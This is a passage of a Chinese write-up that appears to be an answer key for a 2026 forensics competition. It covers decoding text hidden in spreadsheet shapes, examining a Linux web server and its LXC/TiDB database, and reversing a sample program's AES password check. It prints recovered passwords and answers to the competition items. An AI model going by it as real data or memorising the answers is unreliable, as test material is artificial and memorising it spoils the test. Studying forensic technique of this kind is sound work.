"4": [[3, 0], [2, 1], [3, 1], [1, 2], [3, 2],
[0, 3], [1, 3], [2, 3], [3, 3], [4, 3], [3, 4]],
"5": [[0, 0], [1, 0], [2, 0], [0, 1], [0, 2],
[1, 2], [2, 2], [3, 3], [0, 4], [1, 4], [2, 4]],
"6": [[1, 0], [2, 0], [0, 1], [0, 2], [1, 2],
[2, 2], [0, 3], [3, 3], [1, 4], [2, 4]],
"7": [[0, 0], [1, 0], [2, 0], [3, 0], [3, 1],
[2, 2], [1, 3], [1, 4]],
"8": [[1, 0], [2, 0], [0, 1], [3, 1], [1, 2],
[2, 2], [0, 3], [3, 3], [1, 4], [2, 4]],
"9": [[1, 0], [2, 0], [0, 1], [3, 1], [1, 2],
[2, 2], [3, 2], [3, 3], [2, 4]],
"a": [[1, 2], [2, 2], [3, 2], [0, 3],
[3, 3], [1, 4], [2, 4], [3, 4]],
"b": [[0, 0], [0, 1], [0, 2], [1, 2], [2, 2],
[0, 3], [3, 3], [0, 4], [1, 4], [2, 4]],
"c": [[1, 0], [2, 0], [3, 0], [0, 1],
[0, 2], [0, 3], [1, 4], [2, 4], [3, 4]],
"d": [[3, 0], [3, 1], [1, 2], [2, 2], [3, 2],
[0, 3], [3, 3], [1, 4], [2, 4], [3, 4]],
"e": [[1, 0], [2, 0], [0, 1], [0, 2], [1, 2],
[2, 2], [0, 3], [1, 4], [2, 4]],
"f": [[1, 0], [2, 0], [1, 1], [0, 2],
[1, 2], [2, 2], [1, 3], [1, 4]],
"g": [[1, 2], [2, 2], [3, 2], [0, 3], [3, 3],
[1, 4], [2, 4], [3, 4], [3, 5], [1, 6], [2, 6]],
"h": [[0, 0], [0, 1], [0, 2], [1, 2], [2, 2],
[0, 3], [3, 3], [0, 4], [3, 4]],
"i": [[1, 0], [1, 2], [1, 3], [1, 4]],
"j": [[2, 0], [2, 2], [2, 3], [2, 4],
[2, 5], [1, 6], [0, 5]],
"k": [[0, 0], [0, 1], [0, 2], [0, 3], [0, 4],
[2, 2], [1, 3], [3, 3], [2, 4]],
"l": [[1, 0], [1, 1], [1, 2], [1, 3], [1, 4]],
"m": [[0, 1], [1, 1], [2, 1], [3, 1], [4, 1],
[0, 2], [2, 2], [4, 2], [0, 3], [4, 3]],
"n": [[0, 1], [1, 0], [2, 0], [0, 2],
[3, 2], [0, 3], [3, 3], [0, 4], [3, 4]],
"o": [[1, 1], [2, 1], [0, 2],
[3, 2], [1, 3], [2, 3]],
"p": [[0, 2], [1, 2], [2, 2], [0, 3], [3, 3],
[0, 4], [1, 4], [2, 4], [0, 5], [0, 6]],
"q": [[1, 2], [2, 2], [0, 3], [3, 2],
[3, 3], [3, 4], [3, 5], [4, 5]],
"r": [[0, 2], [0, 3], [0, 4], [1, 2], [2, 2]],
"s": [[1, 0], [2, 0], [3, 0], [0, 1], [1, 2],
[2, 2], [3, 3], [0, 4], [1, 4], [2, 4]],
"t": [[1, 0], [1, 1], [1, 2], [1, 3],
[1, 4], [0, 2], [2, 2]],
"u": [[0, 2], [0, 3], [3, 2], [3, 3],
[1, 4], [2, 4], [3, 4]],
"v": [[0, 0], [4, 0], [1, 2], [3, 2], [2, 4]],
"w": [[0, 2], [0, 3], [1, 4], [2, 3],
[3, 4], [4, 2], [4, 3]],
"x": [[0, 0], [4, 0], [1, 1], [3, 1], [2, 2],
[1, 3], [3, 3], [0, 4], [4, 4]],
"y": [[0, 0], [4, 0], [1, 1], [3, 1],
[2, 2], [2, 3], [1, 4]],
"z": [[0, 0], [1, 0], [2, 0], [3, 0], [2, 1],
[1, 2], [0, 3], [0, 4], [1, 4], [2, 4], [3, 4]],
":": [[1, 1], [1, 3]],
"@": [[1, 0], [2, 0], [0, 1], [3, 1], [0, 2],
[2, 2], [3, 2], [0, 3], [1, 4], [2, 4]],
".": [[1, 4]],
}


def build_signature(points):
"""
将点阵排序、去重,生成可用于匹配的特征。
"""
return tuple(sorted(set((int(x), int(y)) for x, y in points)))
# 建立:点阵特征 -> 字符
SIGNATURE_TO_CHAR = {
build_signature(points): char
for char, points in FONT_MAP.items()
}

def open_wps():
"""
连接 WPS 表格。

常见 WPS 表格 COM ProgID 为 ket.Application。
同时提供几个备用名称。
"""
prog_ids = [
"ket.Application",
"KET.Application",
"et.Application",
"Excel.Application",
]
errors = []
for prog_id in prog_ids:
try:
app = win32com.client.DispatchEx(prog_id)
return app, prog_id
except Exception as exc:
errors.append(f"{prog_id}: {exc}")
raise RuntimeError(
"无法启动 WPS 表格或 Excel。\n"
"请确认已经安装 WPS Office,并且使用 Windows 系统。\n\n"
+ "\n".join(errors)
)

def read_alternative_texts(sheet):
"""
读取一张工作表所有形状中的 AlternativeText。
"""
values = []
try:
shape_count = sheet.Shapes.Count
except Exception:
return values
for index in range(1, shape_count + 1):
try:
shape = sheet.Shapes.Item(index)
alt_text = shape.AlternativeText
if alt_text is None:
continue
alt_text = str(alt_text).strip()
if re.fullmatch(r"\d+", alt_text):
values.append(int(alt_text))
except Exception:
# 单个形状读取失败时跳过
continue
return values

def decode_values(encoded_values):
"""
根据原始 JavaScript 编码公式进行逆向解密。

原公式:
value = (((x + 100) ^ 85) * 1000)
+ ((y + 100) ^ 85)
"""
character_groups = defaultdict(list)

for encoded_value in encoded_values:
encoded_x = encoded_value // 1000
encoded_y = encoded_value % 1000
original_x = (encoded_x ^ XOR_KEY) - 100
original_y = (encoded_y ^ XOR_KEY) - 100
if original_x < 0 or original_y < 0:
continue
character_index = original_x // CHAR_SPACING
local_x = original_x - character_index * CHAR_SPACING
# 原始点阵坐标均乘以了 4
if local_x % DOT_SPACING != 0:
continue
if original_y % DOT_SPACING != 0:
continue
dot_x = local_x // DOT_SPACING
dot_y = original_y // DOT_SPACING
character_groups[character_index].append((dot_x, dot_y))
if not character_groups:
return ""
max_index = max(character_groups)
result = []
for index in range(max_index + 1):
points = character_groups.get(index)
if not points:
result.append(" ")
continue
signature = build_signature(points)
char = SIGNATURE_TO_CHAR.get(signature, "?")
result.append(char)
return "".join(result)

def decode_et_file(file_path):
file_path = os.path.abspath(file_path)
if not os.path.isfile(file_path):
raise FileNotFoundError(f"文件不存在:{file_path}")
app = None
workbook = None
try:
app, prog_id = open_wps()
app.Visible = False
try:
app.DisplayAlerts = False
except Exception:
pass
print(f"使用程序:{prog_id}")
print(f"正在读取:{file_path}")
workbook = app.Workbooks.Open(file_path)
results = []
for sheet_index in range(1, workbook.Worksheets.Count + 1):
sheet = workbook.Worksheets.Item(sheet_index)
sheet_name = str(sheet.Name)
encoded_values = read_alternative_texts(sheet)
if not encoded_values:
continue
decoded_text = decode_values(encoded_values)
results.append({
"sheet": sheet_name,
"shape_count": len(encoded_values),
"text": decoded_text,
})
return results
finally:
if workbook is not None:
try:
workbook.Close(False)
except Exception:
pass
if app is not None:
try:
app.Quit()
except Exception:
pass

def main():
try:
results = decode_et_file(ET_FILE_PATH)
print("\n" + "=" * 60)
if not results:
print("未找到可解密的 AlternativeText 数字数据。")
return
print("解密结果:")
for result in results:
print("-" * 60)
print(f"工作表:{result['sheet']}")
print(f"有效形状:{result['shape_count']}")
print(f"明文结果:{result['text']}")
print("=" * 60)
except Exception as exc:
print(f"\n运行失败:{exc}")
sys.exit(1)


if __name__ == "__main__":
main()

1054f165-56.png

baoxianguimima:583985
  • 。。。纯 ai 题目谁想得出来

服务器

  • 看网上说仿真有问题,但是我火眼放一起俩就好了
sudo dhcpcd ens37
sudo /usr/sbin/sshd
ss -lntp | grep :22

1054f165-61.png

1054f165-62.png

出题人真恶心啊,所以我们需要按ctrl+alt+f2退出容器(在按之前,记得先把容器里的ssh卸载掉,不然会冲突的,如果已经按了,可以重启一下然后卸载apt-get remove --purge openssh-server,如果不行,重新仿真一下虚拟机)
退出容器之后,进入虚拟机,这就对味了

  • 佬的装 ssh 代码:
sudo apt update
sudo apt install openssh-server
sudo systemctl status ssh / service ssh start
# 如果系统防火墙已启用,需要开放SSH端口
sudo ufw allow ssh

1054f165-63.png

  • 遇到佬没提到的 dns 问题,修改/etc/resolv.conf 文件解决

1054f165-64.png

  • 遇到 sshd 占用但不是正常启动状态,kill 强杀

1054f165-65.png

  • 常规编辑/etc/ssh/sshd_config

1054f165-67.png

1054f165-68.png

28 该服务器主机操作系统版本

1054f165-69.png

13.0

29 该服务器根分区硬盘的 UUID 号

1054f165-71.png

3231e52f-5e15-44c4-b224-e29cb4201c0e

30 该服务器中最新的 Docker 镜像创建时间

1054f165-72.png

2026-04-25T07:57:55.664007289Z # 错误!这个是所有容器!

1054f165-73.png

2026-04-25T07:57:55.664007289Z

31 该服务器根分区快照路径

通过 btrfs subvolume list / 查看根目录下的子卷, 其中的 root/history 即为快照:

root@ubuntu:~# findmnt /
TARGET SOURCE FSTYPE OPTIONS
/ /dev/md0[/@rootfs] btrfs rw,relatime,space_cache=v2,subvolid=256,subvol=/@rootfs
root@ubuntu:~# btrfs subvolume list /
ID 256 gen 4676 top level 5 path @rootfs
ID 257 gen 4377 top level 256 path root/history
  • 如果是 Btrfs:快照本质上是子卷。你已经用 btrfs subvolume list / 看到了 @rootfs 和 root/history。快照通常会作为新的子卷出现,路径可能类似 @snapshots/xxx 或在你指定的目录下。你可以继续用 btrfs subvolume list / 来查找名字里带 snapshot 或 @ 的条目。
  • 如果是 ZFS:快照会以 @ 符号附加在数据集名称后(例如 pool/root@my_snapshot)。你需要用 zfs list -t snapshot 来专门列出所有快照及其路径。
/root/history

32 该网站后台管理入口对应的文件名

1054f165-74.png

  • 经典位置发现网站源码

1054f165-75.png

user.php
  • 西电:源码对比

1054f165-76.png

1054f165-77.png

  • 挂载发现一致+注释分析,为入口文件

33 该网站设置的 ICP 备案号

1054f165-78.png

1054f165-81.png

网页模板中对 icp 的渲染方式, 是获取了 site_icp 变量的值

1054f165-82.png

icp1919810

1054f165-83.png

34 该网站设置的主域名

1054f165-79.png

被我搞坏了也没找到 mysql 服务为什么不开端口。 。 。好绝望重新仿真忘记快照了
?重新仿真不需要任何步骤就成功连上了,我气
关机又开机又坏了()不知道为什么

经过尝试知道了,mysql 在容器里面而不是主机:加网卡导致 VM 重启,把之前卡住的 SSH/MySQL 会话清掉了
依据:初始仅主机失败;仅主机+nat 成功;单仅主机/单 nat 成功

  • 数据库中 admin 密码:MD5(“123456”) = e10adc3949ba59abbe56e057f20f883e
www.2026fic.forensix

35 该网站分类 3 中, 视频的拼音

1054f165-84.png

1054f165-85.png

1054f165-86.png

  • 点击编辑可见答案:sipaanshe

36 该站点设置页面中, 被使用的前端模板来自于哪个源文件

1054f165-88.png

  • 搜索:

1054f165-87.png

\application\admin\view_new\index\index.html

37 该网站的伪静态规则配置文件 SM3 值

Nginx 配置文件 /etc/nginx/sites-available/default 中包含 rewrite 伪静态规则
计算该配置文件的 SM3 哈希

root@ubuntu:~# cat /etc/nginx/sites-available/default | grep rewrite
rewrite ^/index.php(.*)$ /index.php?s=$1 last;
rewrite ^/user.php(.*)$ /user.php?s=$1 last;
rewrite ^/api.php(.*)$ /api.php?s=$1 last;
rewrite ^(.*)$ /index.php?s=$1 last;
root@ubuntu:~# openssl dgst -sm3 /etc/nginx/sites-available/default
SM3(/etc/nginx/sites-available/default)= e73407468e6f52af54c7b14632eeeb9be25b05106d06c4c3085fc843c223793f
root@ubuntu:~#

38 该网站关联的数据库 IP 地址

root@ubuntu:~# cat /etc/hosts
127.0.0.1 localhost
127.0.1.1 ubuntu.ubuntu ubuntu

10.0.3.100 mytidb
# The following lines are desirable for IPv6 capable hosts
::1 localhost ip6-localhost ip6-loopback
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
10.0.3.100

1054f165-89.png

  • 或者直接 ping

39 该网站数据库使用了哪一类容器技术

1054f165-90.png

LXC 是一种操作系统级虚拟化技术, 允许在单个 Linux 主机上运行多个隔离的 Linux 系统容器. 每个容器拥有独立的文件系统、进程空间、网络接口和用户环境, 但共享主机的 Linux 内核.
Docker 最初使用 LXC 作为其底层容器运行时. 在 Docker 0.9 版本中, Docker 用自研的 libcontainer 替代了 LXC.

LXC

40 运行在 4000 端口的备份数据库版本号

root@ubuntu:~# lxc-attach -n mytidb
# 进入容器
root@LXCNAME:~# cat /var/log/syslog |grep :4000|head -n 10
Oct 20 05:59:54 LXCNAME tiup[201]: - TiDB: 10.0.3.100:4000 ...
Oct 20 06:00:22 LXCNAME tiup[201]: message repeated 561 times: [ - TiDB: 10.0.3.100:4000 ...]
Oct 20 06:00:22 LXCNAME tiup[201]: - TiDB: 10.0.3.100:4000 ... Done
Oct 20 06:21:41 LXCNAME tiup[184]: - TiDB: 10.0.3.100:4000 ...
Oct 20 06:22:06 LXCNAME tiup[184]: message repeated 500 times: [ - TiDB: 10.0.3.100:4000 ...]
Oct 20 06:22:06 LXCNAME tiup[184]: - TiDB: 10.0.3.100:4000 ... Done
# 确认是tidb
root@LXCNAME:~# cat /var/log/syslog |grep tidb|head -n 10
Oct 20 05:59:53 LXCNAME tiup[201]: Start tidb instance: v7.5.0
Oct 20 06:21:41 LXCNAME tiup[184]: Start tidb instance: v7.5.0
root@LXCNAME:~# tiup status
Name Component PID Status Created Time Directory Binary Args
---- --------- --- ------ ------------ --------- ------ ----
VGevyfs playground 11861 TERM 2026-04-13T08:51:39Z /root/.tiup/data/VGevyfs /root/.tiup/components/playground/v1.16.4/tiup-playground /root/.tiup/components/playground/v1.16.4/tiup-playground v7.5.0 --host 0.0.0.0
VGfuqon playground 209 RUNNING 2026-04-13T12:53:27Z /root/.tiup/data/VGfuqon /root/.tiup/components/playground/v1.16.4/tiup-playground /root/.tiup/components/playground/v1.16.4/tiup-playground v7.5.0 --host 0.0.0.0
aamac playground 184 RUNNING 2026-10-20T06:21:17Z /root/.tiup/data/aamac /root/.tiup/components/playground/v1.16.5/tiup-playground /root/.tiup/components/playground/v1.16.5/tiup-playground v7.5.0 --tag aamac --db 1 --pd 1 --kv 1 --host 0.0.0.0
root@LXCNAME:~#
7.5.0

41 新注册用户数量最多的日期

import json
from collections import Counter
from datetime import datetime

with open(r"D:\桌面\mac_user.json", "r", encoding="utf-8") as f:
data = json.load(f)

count = Counter(
datetime.fromtimestamp(u["user_reg_time"]).strftime("%Y-%m-%d")
for u in data
)

print(count.most_common(1)[0][0]) # 人数最多的日期
# print(count.most_common(1)[0]) # ('2026-04-15', 20) 日期+人数

42 马慧美最后一次登录该网站的 IP

1054f165-91.png

1054f165-92.png

240.12.18.80

43 以下哪个文件系统未被使用

A. ntfs
B. btrfs
C. xfs
D. lvm

root@ubuntu:~# lsblk -o name,mountpoint,fstype
NAME MOUNTPOINT FSTYPE
sda
├─sda1 LVM2_member
│ └─volum-root linux_raid_member
│ └─md0 / btrfs
└─sda2 LVM2_member
└─root-data linux_raid_member
└─md0 / btrfs
sdb
├─sdb1
├─sdb2 LVM2_member
│ └─volum-root linux_raid_member
│ └─md0 / btrfs
├─sdb3 LVM2_member
│ └─root-data linux_raid_member
│ └─md0 / btrfs
├─sdb5 /boot/efi vfat
└─sdb6 [SWAP] swap
sr0

44 该服务器安装了以下哪些数据库服务

A. mysql
B. GuessDB
C. tidb
D. postgresql
E. mariadb

服务器并没有安装 MySQL. 网站使用的实际上是 TiDB 兼容 MySQL 的 Connector.
如果尝试在命令行查看 mysql 的版本, 会看到实际上是来自于 MariaDB 的二进制文件:
查看 pgbench 的版本, 确认安装有 PostgreSQL

如果你已经安装了 TiUP(TiDB 官方部署工具),可以先用 tiup --version 确认工具本身是否正常,然后通过 tiup list tidb 查看可用的 TiDB 版本。如果你想启动一个本地测试集群,直接运行 tiup playground 即可,它会自动下载并启动最新的 TiDB 集群,启动成功后你会看到连接信息。

root@ubuntu:~# mysql --version
mysql from 11.8.6-MariaDB, client 15.2 for debian-linux-gnu (x86_64) using EditLine wrapper
root@ubuntu:~# mariadb --version
mariadb from 11.8.6-MariaDB, client 15.2 for debian-linux-gnu (x86_64) using EditLine wrapper
root@ubuntu:~# pgbench --version
pgbench (PostgreSQL) 17.9 (Debian 17.9-0+deb13u1)

互联网部分

45 售卖卡密的公开群组 ID

1054f165-93.png

FIC_2026

46 备份数据库中视频图片的文件名

1054f165-94.png

upload/vod/20260415-1/7b3fdd9d464ce48e7f20cd45f918c9a6.jpg

47 ngrok 提供的域名

ngrok 是一个内网穿透/反向代理工具, 可以将本地服务暴露到公网上, 将 localhost 映射为公网可访问的 URL, 支持 HTTP/HTTPS/TCP 流量.

root@ubuntu:/var/log/nginx# ls -la
total 328
drwxr-xr-x 1 root adm 316 Oct 20 02:02 .
drwxr-xr-x 1 root root 1064 Oct 20 07:54 ..
-rw-r----- 1 www-data adm 54935 Oct 20 04:11 access.log
-rw-r----- 1 www-data adm 133732 Apr 16 2026 access.log.1
-rw-r----- 1 www-data adm 26796 Apr 16 2026 access.log.2.gz
-rw-r----- 1 www-data adm 20090 Apr 16 2026 access.log.3.gz
-rw-r----- 1 www-data adm 21687 Apr 16 2026 access.log.4.gz
-rw-r----- 1 www-data adm 830 Apr 16 2026 access.log.5.gz
-rw-r----- 1 www-data adm 936 Oct 20 03:14 error.log
-rw-r----- 1 www-data adm 36484 Apr 16 2026 error.log.1
-rw-r----- 1 www-data adm 5223 Apr 16 2026 error.log.2.gz
-rw-r----- 1 www-data adm 1151 Apr 16 2026 error.log.3.gz
-rw-r----- 1 www-data adm 1343 Apr 16 2026 error.log.4.gz
-rw-r----- 1 www-data adm 562 Apr 16 2026 error.log.5.gz
root@ubuntu:/var/log/nginx# gunzip access.log.*.gz
root@ubuntu:/var/log/nginx# cat ./* |grep ngrok|head -n 10
::1 - - [15/Apr/2026:03:55:47 -0400] "GET /template/001tep/html/style/css/v2-607838a2ee.css HTTP/1.1" 200 60126 "https://blemish-junior-unengaged.ngrok-free.dev/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36"
::1 - - [15/Apr/2026:03:55:47 -0400] "GET /template/001tep/js/jquery.superslide.js HTTP/1.1" 200 9432 "https://blemish-junior-unengaged.ngrok-free.dev/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36"
::1 - - [15/Apr/2026:03:55:47 -0400] "GET /template/001tep/js/jquery.base.js HTTP/1.1" 200 6197 "https://blemish-junior-unengaged.ngrok-free.dev/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36"
::1 - - [15/Apr/2026:03:55:47 -0400] "GET /static/js/home.js HTTP/1.1" 200 38309 "https://blemish-junior-unengaged.ngrok-free.dev/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36"
::1 - - [15/Apr/2026:03:55:47 -0400] "GET /static/js/jquery.autocomplete.js HTTP/1.1" 200 25109 "https://blemish-junior-unengaged.ngrok-free.dev/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36"
::1 - - [15/Apr/2026:03:55:47 -0400] "GET /static/js/jquery.js HTTP/1.1" 200 92629 "https://blemish-junior-unengaged.ngrok-free.dev/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36"
::1 - - [15/Apr/2026:03:55:48 -0400] "GET /static/images/logo.jpg HTTP/1.1" 200 14914 "https://blemish-junior-unengaged.ngrok-free.dev/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36"
::1 - - [15/Apr/2026:03:55:48 -0400] "GET /upload/vod/20260415-1/3e25c86f44da010aab2ac6ab91e8536e.jpg HTTP/1.1" 404 89 "https://blemish-junior-unengaged.ngrok-free.dev/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36"
::1 - - [15/Apr/2026:03:55:48 -0400] "GET /upload/vod/20260415-1/83f4402e5d98fba6da18bbca0d1c42b3.jpg HTTP/1.1" 404 89 "https://blemish-junior-unengaged.ngrok-free.dev/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36"
::1 - - [15/Apr/2026:03:55:48 -0400] "GET /template/001tep/html/style/js/v2-2755e1b5b8.js HTTP/1.1" 200 285297 "https://blemish-junior-unengaged.ngrok-free.dev/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36"

1054f165-95.png

blemish-junior-unengaged.ngrok-free.dev

U 盘

48 U 盘检材中保存的加密程序 SampleVC.exe 的 MD5 值

764789dd9c095d74b6b258cf0f7568b2

49 分析 SampleVC.exe, 该程序编译的日期可能是什么?

1054f165-80.png

2026-04-17 13:53:20

50 分析 SampleVC.exe, 正确的密码是什么?

WinMain 是 Windows 图形界面(GUI)应用程序的传统入口点函数。

1054f165-96.png

LRESULT __fastcall sub_1400024A0(HWND hWndParent, UINT a2, WPARAM a3, LPARAM a4)
{
struct tagPAINTSTRUCT Paint; // [rsp+60h] [rbp-68h] BYREF

switch ( a2 )
{
case 1u:
hWnd = CreateWindowExW(
0x200u,
L"EDIT", // 输入框
&word_14000570C,
0x50800080u,
150,
70,
200,
30,
hWndParent,
(HMENU)0x4E21,
hInstance,
0);
qword_140008798 = CreateWindowExW(
0x200u,
L"EDIT",
&word_14000570C,
0x50800080u,
150,
100,
200,
30,
hWndParent,
(HMENU)0x4E22,
hInstance,
0);
CreateWindowExW(
0,
L"BUTTON", // 按钮
&word_14000571C,
0x50000000u,
140,
150,
100,
30,
hWndParent,
(HMENU)0x2711, // 控件ID
hInstance,
0);
break;
case 2u:
PostQuitMessage(0);
break;
case 0xFu:
SendMessageW(hWnd, 0x1501u, 1u, (LPARAM)&lParam);
SendMessageW(qword_140008798, 0x1501u, 1u, (LPARAM)&qword_140005750);
BeginPaint(hWndParent, &Paint);
EndPaint(hWndParent, &Paint);
break;
case 0x111u: // 点击按钮后进入
switch ( (unsigned __int16)a3 )
{
case 0x68u:
DialogBoxParamW(hInstance, (LPCWSTR)0x67, hWndParent, DialogFunc, 0);
break;
case 0x69u:
DestroyWindow(hWndParent);
break;
case 0x2711u: // 控件ID
sub_140002200();
break;
default:
a2 = 273;
return DefWindowProcW(hWndParent, a2, a3, a4);
}
break;
default:
return DefWindowProcW(hWndParent, a2, a3, a4);
}
return 0;
}

1054f165-97.png

__int64 sub_140002200()
{
...
SendMessageW(hWnd, 0xDu, 0x200u, (LPARAM)lParam);
SendMessageW(qword_140008798, 0xDu, 0x40u, (LPARAM)v15);
v0 = -1;
do
++v0;
while ( lParam[v0] );
if ( !v0 || v0 > 0xFF ) // 限制 lParam 长度为 0xFF = 256 字节
{
v2 = &word_1400056A8;
goto LABEL_19;
}
v1 = -1;
do
++v1;
while ( *((_WORD *)v15 + v1) );
if ( v1 != 16 )
{
v2 = (const WCHAR *)&unk_1400056B8;
LABEL_19:
MessageBoxW(0, v2, &word_14000569C, 0);
return 0;
}
v3 = 0;
v4 = v15;
do
{
if ( (unsigned __int16)(*(_WORD *)v4 - 32) > 0x5Eu )// 限制 qword_140008798 中的每个字节介于 0x20 与 0x5E 之间, 即可见 ASCII 字符
{
v2 = (const WCHAR *)&unk_1400056C8;
goto LABEL_19;
}
++v3;
v4 = (LPARAM *)((char *)v4 + 2);
}
while ( (unsigned __int64)v3 < 0x10 );
lpMultiByteStr = (CHAR *)operator new(0x10u);
WideCharToMultiByte(0xFDE9u, 0, (LPCWCH)v15, -1, lpMultiByteStr, 16, 0, 0);
v8[0] = 0x67452301; // 初始化 AES 密钥 0x0123456789ABCDEF0123456789ABCDEF
v8[1] = 0xEFCDAB89;
v25 = 0;
*(_OWORD *)Str2 = 0;
v8[2] = 0x67452301;
v20 = 0;
v8[3] = 0xEFCDAB89;
v21 = 0;
v9 = 0;
v22 = 0;
v23 = 0;
v24 = 0;
v6 = operator new(0x11u);
*v6 = *(_OWORD *)lpMultiByteStr;
sub_140001230(Str2, v6, v8); // AES加密
*(_DWORD *)Str1 = 0xAC77B9AF; // 密文
v11 = 0xCD62A24;
v12 = 0xAD6124F4;
v13 = 0x4951CA72;
v14 = 0;
if ( !strncmp(Str1, Str2, 0x10u) )
{
if ( (unsigned int)sub_140001CF0(lParam, lpMultiByteStr) == 1 )
MessageBoxW(0, &Text, &Caption, 0);
else
MessageBoxW(0, &word_1400056F0, &Caption, 0);
}
else
{
MessageBoxW(0, &word_140005700, &word_14000569C, 0);
}
return 0;
}
  • 追踪自定义疑似 AES 加密函数:有对明文进行处理
if ( dword_140008090 < 6 )
{
do
{
a2[v12] ^= 2 * v12 + v12 + 127; // a2[i]^=3i+127
++v12;
}
while ( v12 < 0x10 );
}
  • 逆向,西电师傅的脚本,cyberchef 估计 padding 的问题成功不了
from Crypto.Cipher import AES

ciphertext = bytes([0xAF,0xB9,0x77,0xAC,0x24,0x2A,0xD6,0x0C,
0xF4,0x24,0x61,0xAD,0x72,0xCA,0x51,0x49])

key = bytes([0x01,0x23,0x45,0x67,0x89,0xAB,0xCD,0xEF,
0x01,0x23,0x45,0x67,0x89,0xAB,0xCD,0xEF])

cipher = AES.new(key, AES.MODE_ECB)
decrypted = cipher.decrypt(ciphertext)
password = bytes([decrypted[i] ^ (3*i + 0x7F) for i in range(16)])
print(password)
PleaseRunAsAdmin

51 利用 SampleVC.exe 解密 U 盘中被加密的文件, 解密后的文件后缀是什么?

1054f165-99.png

1054f165-98.png

1054f165-100.png

  • 阻止删除成功
vhd

52 找到被加密的交易记录, 统计李安弘虚拟币收款地址钱包总收款金额

  • ctrl+shift+L 筛选收款

1054f165-101.png

186,948.09